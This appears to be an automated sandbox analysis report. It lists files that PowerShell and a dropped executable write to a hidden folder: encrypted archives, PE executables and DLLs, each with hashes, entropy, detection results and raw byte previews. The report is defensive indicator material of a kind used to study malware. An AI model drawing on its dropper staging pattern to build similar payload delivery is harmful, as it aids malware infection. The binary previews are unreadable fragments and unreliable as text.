Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	81863321
Entropy (8bit):	7.999984446998836
Encrypted:	true
SSDEEP:	1572864:nNHBshV22VH7jpyIL1zn90hHG47CsxjIR8R7J9CwSBMNah5qmj9WbCigu+aknz:NH2ftdj90hm8CMR+JBZmb+hnz
MD5:	BAA81B2323D39C4EEE4F480FF826470B
SHA1:	7151152F91C450F60CB182214CF9327B0CCC686C
SHA-256:	AA0B06F5C5ACEC83996F418C6651FDAE462BAEF0A2895F808E00AF66937A9C73
SHA-512:	1F82E14C3A81291815A7A967E16154A67BD04AEE90FF4FD5EA0EAB022958DF7B5E54A0CBCE5413E6794CA039564A0CEEAE840E12D87EC0402F9A0F32787390EB
Malicious:	false
Preview:	PK........(~.X.............. .exe.txtux.............UT......f..?g.{.f._TU..~...U..P.X.cQZK...2... 2#)`eD........x....v....n..n.b/.b..)........".....y....~...>..s..s...3..o..$...$5H._.....j...W.1\z}..W6.f~p..{../^..=K.x ..;.\|.!...w./.<.~..y....xh..7$%.......gG..4V.<..7V.....azO..%..U..{..w.m...{...\|..x.......]\.Ne5U..rc....}....\|.7.......o.......{..?.6.S.f..kwd.5.v\..4.4..."I.e.K..'IV.t.1z..../.(~.-m.N..:S.............H..$.?9/b.pi........IR.....26..-R.....%..Y.......+..~}....U.0M.$-.a.;.wH.?..m...C.H....`$.._.u[$....g....,]..Mm.6K...._.rnXr...ABl;......'.g.i.w......v./+.D;..vM.$..5I..UO..$.E.W&.j......<.T.;.8.........".\|A![3m.R......{s!~'.C.t:.....6.Z..J.0.wF............Rt`....K...O.3$..C....u..{..F..t.nE.G.3.}\|..=....9...Du.U....l8.yA.....$...cA."...Z..A.e>.zwb..`..Y..$...X.".SP..o....M......~.]5 ..g)z.O.D.@......z@.7.1#%)..7],K...,....C\.D.:{c...\|~..E.V{x@.7z...I]K9f.>....xI"..v....T..(.6..cS..(.qMy..U..'.G....mV......g..+...VV...SYy:

C:\_nczuwk7_H\_nczuwk7_H.ai (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24276
Entropy (8bit):	7.992413235183
Encrypted:	true
SSDEEP:	384:MW/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jI7:F/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgbO
MD5:	91FF25A3441AC0D5C56DB0A18B873C84
SHA1:	C388376B49000CF923B3E361281BBD1790877A54
SHA-256:	B82E224B4ADD7E3235C22AC8CD3E734ADDA21A3733B323B78FBA46F1DFD3E925
SHA-512:	C008A7BACEB3525DB9E929D92438AC36EBA856CEA7191AF2ACD91948DD2666776A9514ADDE5070BB954D27BA38FFF486F02F9F07A12AFA133AC09537FC0C8A25
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......p_.1N(...+..............qF...K{AqF...K{AkC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. Z.f..^+.B..=H.{.X.........dC..r.FqF..._xAqF....zAm......a.v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_nczuwk7_H\_nczuwk7_H.at (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24268
Entropy (8bit):	7.992228145694712
Encrypted:	true
SSDEEP:	384:Mj/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jIc:E/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgbt
MD5:	35D312764BBB40C246BA8A33D40DDAEA
SHA1:	8EA259D2642BA71F49201A5C533B770E75101AD0
SHA-256:	8FAE6950E535DDE6632307975097AB0F41640ED75113212493ED116C2C888C45
SHA-512:	8734B2E2C3E283E237B5EEF36CAA241C614F1241C46DFB7173D2890BDA64274ACF004E4E2526CD210CD4E3CCF58CF465A06429F0C9D5607AABA284006AB77655
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......\|_.1N(...+..............qF...W.HqF...W.HkC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. _.f..^).B..=H.{.X.........nC....x.qF...R.HqF...1.Hm......k.v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_nczuwk7_H\_nczuwk7_H.exe (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\_nczuwk7_H.ia (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	68876304
Entropy (8bit):	7.999997656729386
Encrypted:	true
SSDEEP:	1572864:Rts7b0gtxJxxuUVZtnfevDyctqmZdCVQBhVTOO27ITAJhWIvvqxsCKO:RSHNBFfev+AqmBCT7vA7
MD5:	133573CD0833DD083212DAE25BAAF461
SHA1:	7D30B40302EA2AF40CB3A2F28A07004B6DAB0D04
SHA-256:	BC5A56399FDA9A1058033B95879DB3BF2D23E454612CA5117B8C7C8F268E5C6C
SHA-512:	97BC563B5FC5C712E26A983AC9E1B25EEE0EB135A75B0BF35C38BCEB1EA57FDF54FF414E4B7D769284E212A191F698585C1313FF18D10F615A5678B88B1DDE07
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..E.f.s...D".B.+..l.h.Ye...w.<.H.]_...Q.Ae.F9...%..w>T.%...t0v....g..S..#_J4...b..U.<......Z(He..#5..+....V..Q.{9m{.O..R.3..\7...,.\7..#..<y..FC`.`3...jW#.....gq.W.9{(...k...W..[....6.P.A.06..\...`.D1....d.X .....T.5@...C./..}.i.!.1...Kp.<,J.]c.T.P.JGCY-.;-..aa.]..16~.1:B.5..#A+....U 1....4S.....dG.Lri..{..Mt.>.#.@.m.u\|..8....-..-.I).q.n......!-.G..{Nm$.......<.pDkR.f...\|+.?..-[@..'.)...YL.._.q...v .i.S....\|8.0 ..........ot.I.k..K....../t.0.G.....h....8...%M..E.BI..DD...q.`9.F..S".J..AW.0N.J.\|l..f..e.E..A0..._.....'!.aP.f....^....).S..d\|.eo.'.x.....K...........6..>.mD.d....Z.j...h...Vq.....4.Mz.b`.....B..S.....Y...0..0..6.....6..Q...iLx...T.q5.a.}*7LHq....m.x.o...X&..L-.........{u...qY...=...."h..dP..<

C:\_nczuwk7_H\_nczuwk7_H.ia.a1

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68876288
Entropy (8bit):	4.698197216600001
Encrypted:	false
SSDEEP:	393216:HBaAWjjCkYIou2eerhKgFezxeY0GXXXYnXqpsnJbcyTZ:HBmmhreernGXXXYnXmsJQyTZ
MD5:	60C4B36F58A6A6D9F5C58CAC962A0C5D
SHA1:	3552CD92251DD52E40A40C7D995042CAC085F0B7
SHA-256:	207CEC3FEB6C85744A184212ED707597EABB55AEB616742A2BCC8240A7FBC3FE
SHA-512:	B7EBA80D13626F41BA98D8F8F18C09057B0415A43CD204E79EDDCA38C4CF2E2D6DCE9B530AC35108AD2FC6824D823D638CA3C3F7C3ECEC27F87DBACE257B51F9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\_nczuwk7_H\_nczuwk7_H.ia.a1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....Pg.....................^......h.............@..........................P............@......................................X........o.............................................................................P....`.......................text... ........................... ..`.itext...{...0...\|.................. ..`.data...40.......2..................@....bss....$...............................idata...X.......Z.................@....didata......`... ...&..............@....edata...............F..............@..@.rdata..E............H..............@..@.reloc...............J..............@..B.rsrc.....o.......o..:..............@..@.............P......................@..@........................................................

C:\_nczuwk7_H\_nczuwk7_H.mdat (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	7015952
Entropy (8bit):	7.999972603531368
Encrypted:	true
SSDEEP:
MD5:	82583D232731A891A06A1DA89B9DFA87
SHA1:	A98502A1521EDBC60D3512C5DF0A31078CA32E79
SHA-256:	0C3DD27BE94D5D15CADD3ECF0724A071CD41CE162845100244047C51F300B194
SHA-512:	B60C629FDA5166B738ABE8276BD5DCCCBF45404203CC9B0F9BC5FC6E047CA7986BDC4967F679E7A53DCC7C851C4AED70FA189B4E468ABD4EA386BD6BB0B50F81
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..E\|.m..}j....n .v..m9.<p{sL<]...r.....'.....i........p.o[.rP.E..V.KM..t....v%....A+...........m.6<.l.w4.8`..<9...9YQ3..7z....m.h...O..,@.N.......qw......vR;k..=.9.E..<......~.b{o.\.h....=.U.0..%.2....t^.'3U./z.[3a...P....b;.Y..">.9E....O...Y.<&...b.p...+.]../.zYL]...%.l.....'......c..c.[.E#....yFI..8`.,h..D.t.$.zRt.XZ&.y.M....g..Y..p.,G#.m..{.6..#6.7Kn.../T.\y..8..e.u....I.nd.j6A.Go..t2.g.x#.f....z...0.@..\|I.GV.jX....!Z.X.\..ps]...`..M....p<.vR,C.....).6.X.$.u.......d....!. .....8x...^*..^.V..`..p....B.:.Q......B...(..s..&L..j".~.d.=.n...d .P.6...........fw..d..P..%.c..+.T..4..{...q....f.S..<z..N.[..^.&.?t.}gq.k..."=I%".."\|..Dm....r..Z 5......0...=.-.=..e.?Y.....oq3... .E.,.].':.....'.(..;..e.7$A.>.

C:\_nczuwk7_H\_nczuwk7_H.zip (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	81863321
Entropy (8bit):	7.999984446998836
Encrypted:	true
SSDEEP:
MD5:	BAA81B2323D39C4EEE4F480FF826470B
SHA1:	7151152F91C450F60CB182214CF9327B0CCC686C
SHA-256:	AA0B06F5C5ACEC83996F418C6651FDAE462BAEF0A2895F808E00AF66937A9C73
SHA-512:	1F82E14C3A81291815A7A967E16154A67BD04AEE90FF4FD5EA0EAB022958DF7B5E54A0CBCE5413E6794CA039564A0CEEAE840E12D87EC0402F9A0F32787390EB
Malicious:	false
Preview:	PK........(~.X.............. .exe.txtux.............UT......f..?g.{.f._TU..~...U..P.X.cQZK...2... 2#)`eD........x....v....n..n.b/.b..)........".....y....~...>..s..s...3..o..$...$5H._.....j...W.1\z}..W6.f~p..{../^..=K.x ..;.\|.!...w./.<.~..y....xh..7$%.......gG..4V.<..7V.....azO..%..U..{..w.m...{...\|..x.......]\.Ne5U..rc....}....\|.7.......o.......{..?.6.S.f..kwd.5.v\..4.4..."I.e.K..'IV.t.1z..../.(~.-m.N..:S.............H..$.?9/b.pi........IR.....26..-R.....%..Y.......+..~}....U.0M.$-.a.;.wH.?..m...C.H....`$.._.u[$....g....,]..Mm.6K...._.rnXr...ABl;......'.g.i.w......v./+.D;..vM.$..5I..UO..$.E.W&.j......<.T.;.8.........".\|A![3m.R......{s!~'.C.t:.....6.Z..J.0.wF............Rt`....K...O.3$..C....u..{..F..t.nE.G.3.}\|..=....9...Du.U....l8.yA.....$...cA."...Z..A.e>.zwb..`..Y..$...X.".SP..o....M......~.]5 ..g)z.O.D.@......z@.7.1#%)..7],K...,....C\.D.:{c...\|~..E.V{x@.7z...I]K9f.>....xI"..v....T..(.6..cS..(.qMy..U..'.G....mV......g..+...VV...SYy:

C:\_nczuwk7_H\_nczuwk7_Hi7.exe (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15936
Entropy (8bit):	6.475860444797363
Encrypted:	false
SSDEEP:
MD5:	4AFCAB972E98ECBF855F915B2739F508
SHA1:	615DC2FA827FAB39E16A7E9721F484E7F4D34F8E
SHA-256:	7CC34A5423BD3FC9FA63D20EBECE4103E22E4360DF5B9CAA2B461069DAC77F4D
SHA-512:	58258F74D7E35C5A83234A98BC033846BE5A65146BD992E738A8678706A18C30759BD405FBB30A296181E2F92ACB0219DF8979030CC45D1CDEC6AC06E8BC00D5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R%^.<v^.<v^.<vW..v\.<vEx.v_.<vEx.v\.<vEx.v[.<v^.=vo.<vEx.vJ.<vEx.v_.<vEx.v_.<vRich^.<v........PE..L......V............................\|........ ....@..........................`......Z.....@.................................4#..P....@..H............&..@....P....... ...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...H....@......................@..@.reloc.......P.......$..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\at.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	7015952
Entropy (8bit):	7.999972603531368
Encrypted:	true
SSDEEP:
MD5:	82583D232731A891A06A1DA89B9DFA87
SHA1:	A98502A1521EDBC60D3512C5DF0A31078CA32E79
SHA-256:	0C3DD27BE94D5D15CADD3ECF0724A071CD41CE162845100244047C51F300B194
SHA-512:	B60C629FDA5166B738ABE8276BD5DCCCBF45404203CC9B0F9BC5FC6E047CA7986BDC4967F679E7A53DCC7C851C4AED70FA189B4E468ABD4EA386BD6BB0B50F81
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..E\|.m..}j....n .v..m9.<p{sL<]...r.....'.....i........p.o[.rP.E..V.KM..t....v%....A+...........m.6<.l.w4.8`..<9...9YQ3..7z....m.h...O..,@.N.......qw......vR;k..=.9.E..<......~.b{o.\.h....=.U.0..%.2....t^.'3U./z.[3a...P....b;.Y..">.9E....O...Y.<&...b.p...+.]../.zYL]...%.l.....'......c..c.[.E#....yFI..8`.,h..D.t.$.zRt.XZ&.y.M....g..Y..p.,G#.m..{.6..#6.7Kn.../T.\y..8..e.u....I.nd.j6A.Go..t2.g.x#.f....z...0.@..\|I.GV.jX....!Z.X.\..ps]...`..M....p<.vR,C.....).6.X.$.u.......d....!. .....8x...^*..^.V..`..p....B.:.Q......B...(..s..&L..j".~.d.=.n...d .P.6...........fw..d..P..%.c..+.T..4..{...q....f.S..<z..N.[..^.&.?t.}gq.k..."=I%".."\|..Dm....r..Z 5......0...=.-.=..e.?Y.....oq3... .E.,.].':.....'.(..;..e.7$A.>.

C:\_nczuwk7_H\b.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24276
Entropy (8bit):	7.992413235183
Encrypted:	true
SSDEEP:
MD5:	91FF25A3441AC0D5C56DB0A18B873C84
SHA1:	C388376B49000CF923B3E361281BBD1790877A54
SHA-256:	B82E224B4ADD7E3235C22AC8CD3E734ADDA21A3733B323B78FBA46F1DFD3E925
SHA-512:	C008A7BACEB3525DB9E929D92438AC36EBA856CEA7191AF2ACD91948DD2666776A9514ADDE5070BB954D27BA38FFF486F02F9F07A12AFA133AC09537FC0C8A25
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......p_.1N(...+..............qF...K{AqF...K{AkC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. Z.f..^+.B..=H.{.X.........dC..r.FqF..._xAqF....zAm......a.v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_nczuwk7_H\c.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24268
Entropy (8bit):	7.992228145694712
Encrypted:	true
SSDEEP:
MD5:	35D312764BBB40C246BA8A33D40DDAEA
SHA1:	8EA259D2642BA71F49201A5C533B770E75101AD0
SHA-256:	8FAE6950E535DDE6632307975097AB0F41640ED75113212493ED116C2C888C45
SHA-512:	8734B2E2C3E283E237B5EEF36CAA241C614F1241C46DFB7173D2890BDA64274ACF004E4E2526CD210CD4E3CCF58CF465A06429F0C9D5607AABA284006AB77655
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......\|_.1N(...+..............qF...W.HqF...W.HkC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. _.f..^).B..=H.{.X.........nC....x.qF...R.HqF...1.Hm......k.v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_nczuwk7_H\exe.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\i7.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15936
Entropy (8bit):	6.475860444797363
Encrypted:	false
SSDEEP:
MD5:	4AFCAB972E98ECBF855F915B2739F508
SHA1:	615DC2FA827FAB39E16A7E9721F484E7F4D34F8E
SHA-256:	7CC34A5423BD3FC9FA63D20EBECE4103E22E4360DF5B9CAA2B461069DAC77F4D
SHA-512:	58258F74D7E35C5A83234A98BC033846BE5A65146BD992E738A8678706A18C30759BD405FBB30A296181E2F92ACB0219DF8979030CC45D1CDEC6AC06E8BC00D5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R%^.<v^.<v^.<vW..v\.<vEx.v_.<vEx.v\.<vEx.v[.<v^.=vo.<vEx.vJ.<vEx.v_.<vEx.v_.<vRich^.<v........PE..L......V............................\|........ ....@..........................`......Z.....@.................................4#..P....@..H............&..@....P....... ...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...H....@......................@..@.reloc.......P.......$..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\jli.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17226910
Entropy (8bit):	5.747240127021257
Encrypted:	false
SSDEEP:
MD5:	0006205EC316E325E1C3D116557822E8
SHA1:	964EBC2752A1086774FA6DDEBC33C66918384D66
SHA-256:	E9CFEC57F95FA17F88D3101C9B40E984CE40D2F886FE596E416DE91F500BBE4E
SHA-512:	BCAE21D2C91CD444372F1B4FB9C612AFFE840F0E3F60206B682738936ACB0318E5A5BD94AE0B00003B536402E578001C29F54546670F6CD0956640730F045550
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....Pg...........!.....p1..h........1.......1...@.......................................@...........................2......`2..1...`7.......................2.......:..............................................h2.......2......................text....N1......P1................. ..`.itext.......`1.. ...T1............. ..`.data....e....1..f...t1.............@....bss.....n....1..........................idata...1...`2..2....1.............@....didata.......2.......2.............@....edata........2.......2.............@..@.rdata..E.....2.......2.............@..@.reloc........2.......2.............@..B.rsrc........`7.......6.............@..@.debug........:......F9.............@..@........................................................

C:\_nczuwk7_H\jli.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17226913
Entropy (8bit):	5.74724087163702
Encrypted:	false
SSDEEP:
MD5:	206D347E00278D753D17FA0A0B877CCE
SHA1:	17866C4B36A5CC1DFE80AFDE0EFF18065295F953
SHA-256:	F26575CB2D02B165B4271E78FD525C83DFAC92227EFE09F6C8B3DEE75C0C179B
SHA-512:	5824EA8D8CC1E69B3658A67CD1CD9ACA3BCC7FA3CD69C6D76CEEFD4370630A02CB2B184CD29F2DE4905EC74EF1395C39B7C6EED0DDF81799DDE6FEB98AE05E8F
Malicious:	false
Preview:	{},MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....Pg...........!.....p1..h........1.......1...@.......................................@...........................2......`2..1...`7.......................2.......:..............................................h2.......2......................text....N1......P1................. ..`.itext.......`1.. ...T1............. ..`.data....e....1..f...t1.............@....bss.....n....1..........................idata...1...`2..2....1.............@....didata.......2.......2.............@....edata........2.......2.............@..@.rdata..E.....2.......2.............@..@.reloc........2.......2.............@..B.rsrc........`7.......6.............@..@.debug........:......F9.............@..@.....................................................

C:\_nczuwk7_H\libeay32.dll

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1367552
Entropy (8bit):	6.850153675704278
Encrypted:	false
SSDEEP:
MD5:	7D24B5A2FDFC78CD530A8510DB09FACA
SHA1:	F521D8063AC8194B870FB5F0DFDF77F285C910D3
SHA-256:	F5DA7F8FBF844D130F3FCB674D9AD09427B867CEC7B956C730973C3F48B1E7A5
SHA-512:	F224E0416A33646692A65C7F371C5EB448AC72C30ECF6A897C3D649607480FFB287A33DA6561FF257E3BCEED180E5FB1851B92CC54D9E3BEB3B28713F75EA581
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b7.j&V.9&V.9&V.9/..9.V.9/..9=V.9&V.9.V.9...9-V.9&V.93V.9/..9.T.9/..9'V.9/..9'V.9/..9'V.9Rich&V.9................PE..L...b@.X...........!.....X..........s........p...............................P......................................P...r.......x.......0...........................pr..............................(...@............p..(............................text...tW.......X.................. ..`.rdata...W...p...X...\..............@..@.data...........t..................@....rsrc...0............(..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\ssleay32.dll

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	337408
Entropy (8bit):	6.510849165736945
Encrypted:	false
SSDEEP:
MD5:	E7EFFE997BDBF1E0F9DD1C271EAB5F3F
SHA1:	18C4D5383A00A4AB376A1D06BA68042FAD01D986
SHA-256:	8BDFF8C4DD2D8B1690E4D63DEB9AB4068A5109A0B78B64BF1E920F1696B0FB41
SHA-512:	9C171A609D4974FA15EB00BCD6E418839B61C244385833FB16F145389BF34F19B3704DA654F57BC8F6DBAEA149B830D4B8773D83A2F47E113F9C64694D2B6890
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
